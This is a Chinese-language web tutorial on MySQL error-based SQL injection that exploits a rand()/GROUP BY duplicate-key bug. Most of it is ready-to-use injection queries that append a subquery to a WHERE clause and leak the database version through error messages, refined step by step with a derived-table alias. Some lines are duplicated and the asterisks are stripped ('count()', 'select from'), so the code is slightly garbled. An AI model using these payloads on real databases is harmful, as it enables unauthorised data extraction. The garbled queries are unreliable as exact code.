网站MYSQL数据库高级爆错注入原分析
网络安全 2021-07-03 09:36www.168986.cn网络安全知识
这里主要用了mysql的一个BUG http://bugs.mysql./bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
select count(),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
select from user where user='root' and (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
1248 (42000): Every derived table must have its own alias
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
SQL Code复制内容到剪贴板
- use mysql;
- create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- select left(rand(),3),a from r1 group by 1;
- select left(rand(),3),a, count() from r1 group by 1;
- select round(rand(1),1) ,a, count() from r1 group by 1;
于是便可以这样拿来爆错注入了。
复制代码
代码如下:select count(),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
复制代码
代码如下:select from user where user='root' and (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
复制代码
代码如下:1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者 小残 绳命不息 |折腾不止
上一篇:详解如何通过“鼠洞”控制电脑
下一篇:网站个人渗透技巧收集与总结
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想